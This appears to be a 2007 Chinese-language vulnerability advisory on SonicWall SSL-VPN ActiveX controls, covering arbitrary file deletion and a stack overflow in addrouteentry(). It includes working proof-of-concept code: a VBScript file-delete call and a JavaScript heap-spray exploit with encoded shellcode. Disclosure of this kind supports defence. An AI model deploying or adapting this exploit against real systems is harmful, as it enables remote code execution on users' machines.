sonicwall ssl vpn客户端activex控件多个安全漏洞(2007-11-05)

绿盟科技(2007-11-05 08:35:32)

受影响系统：
sonicwall ssl-vpn 1.3.0.3
不受影响系统：
sonicwall ssl-vpn 2000/4000 2.5
sonicwall ssl-vpn 200 2.1
描述：
--------------------------------------------------------------------------------
bugtraq  id: 26288

sonicwall ssl-vpn可以为企业网络提供简单易用的vpn解决方案。

sonicwall ssl-vpn的activex控件实现上存在多个安全漏洞，远程攻击者可能利用这些漏洞控制用户系统。

sonicwall ssl-vpn解决方案所安装的webcachecleaner activex控件的filedelete()方式没有正确地验证某些参数，允许攻击者删除客户端上的任意文件；此外nelaunchctrl activex控件的addrouteentry()方式在处理第二个参数时未经长度检查便拷贝到了栈缓冲区，使用以下方式便可以将进程跳转到uvwx域：

o.addrouteentry ("", "abcdefghijklmnopqrstuvwx");

以下属性还受unicode溢出的影响：

serveraddress
sessionid
clientiplower
clientiphigher
username
domainname
dnssuffix

<*来源：bernhard mueller （research@sec-consult.com）
 
  链接：?l=bugtraq&m=119393761324021&w=2
*>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

dim o
set o = createobject("mlwebcachecleaner.webcachecleaner.1")
o.filedelete("c:\bla\bla")

<object classid='clsid:6eefd7b1-b26c-440d-b55a-1ec677189f30' /></object>

<script>

var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%u7e68%ue2d8%u6873%ufe98%u0e8a%uff57%u63e7%u6c61%u2e63%u7865%u2065%u0000");

var spray = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
do {
   spray += spray;
} while(spray.length < 0xc0000);

memory = new array();

for(i = 0; i < 50; i++)
   memory[i] = spray + shellcode;

buf = "";
for(i = 0; i < 50; i++)
   buf += unescape("%05%05%05%05");

nelx.addrouteentry("", buf);

</script>

建议：
--------------------------------------------------------------------------------
厂商补丁：

sonicwall
---------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：